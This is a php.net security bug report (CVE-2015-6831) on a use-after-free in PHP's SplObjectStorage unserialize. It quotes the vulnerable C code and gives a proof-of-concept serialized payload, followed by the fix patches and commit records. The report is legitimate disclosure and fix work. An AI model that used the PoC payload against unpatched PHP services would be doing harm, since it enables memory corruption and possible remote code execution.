php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70168 Use After Free Vulnerability in unserialize() with SplObjectStorage
Submitted: 2015-07-30 10:52 UTC Modified: 2015-09-09 10:05 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.4.43 OS: *
Private report: No CVE-ID: 2015-6831
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-07-30 10:52 UTC] taoguangchen at icloud dot com
Description:
------------
I has reported a similar bug in BUG#70166

```
	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pcount);
	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
		goto outexcept;
	}

	--p; /* for ';' */
	count = Z_LVAL_P(pcount);
...
	/* done reading $serialized */
	if (pcount) {
		zval_ptr_dtor(&pcount);  <=== free memory
	}
	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
	return;
```

&pcount was be freed, but we can use that already freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:

```
$inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-30 10:58 UTC] taoguangchen at icloud dot com
the patch for 5.4 series ( maybe work on 5.5 and 5.6 series):

diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c
index da9110b..ccf10c5 100644
--- a/php-5.4.43/spl_observer.c
+++ b/php-5.4.43-fixed/spl_observer.c
@@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pcount);
 
 	--p; /* for ';' */
 	count = Z_LVAL_P(pcount);
@@ -880,7 +882,7 @@ SPL_METHOD(SplObjectStorage, unserialize)
 			if(pelement->obj) {
 				var_push_dtor(&var_hash, &pelement->obj);
 			}
-		} 
+		}
 		spl_object_storage_attach(intern, getThis(), pentry, pinf TSRMLS_CC);
 		zval_ptr_dtor(&pentry);
 		zval_ptr_dtor(&pinf);
 [2015-07-30 11:01 UTC] taoguangchen at icloud dot com
update a new patch:

diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c
index da9110b..02d1434 100644
--- a/php-5.4.43/spl_observer.c
+++ b/php-5.4.43-fixed/spl_observer.c
@@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pcount);
 
 	--p; /* for ';' */
 	count = Z_LVAL_P(pcount);
 [2015-07-30 12:19 UTC] taoguangchen at icloud dot com
update a new patch for another UaF (test on 5.4 series):

diff --git a/php-5.4.43/spl_observer.c b/php-5.4.43-fixed/spl_observer.c
index da9110b..195bc72 100644
--- a/php-5.4.43/spl_observer.c
+++ b/php-5.4.43-fixed/spl_observer.c
@@ -831,6 +831,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pcount);
 
 	--p; /* for ';' */
 	count = Z_LVAL_P(pcount);
@@ -902,6 +904,8 @@ SPL_METHOD(SplObjectStorage, unserialize)
 		zval_ptr_dtor(&pmembers);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pmembers);
 
 	/* copy members */
 	if (!intern->std.properties) {
 [2015-08-04 22:22 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-04 22:22 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-08-04 22:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-04 22:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-05 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-08-05 10:12 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=c2e197e4efc663ca55f393bf0e799848842286f3
Log: Fix bug #70168 - Use After Free Vulnerability in unserialize() with SplObjectStorage
 [2015-09-09 10:05 UTC] kaplan@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6831
 [2015-09-09 10:05 UTC] kaplan@php.net
Shared CVE between bugs #70155, #70166, #70168 and #70169.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 13:01:29 2024 UTC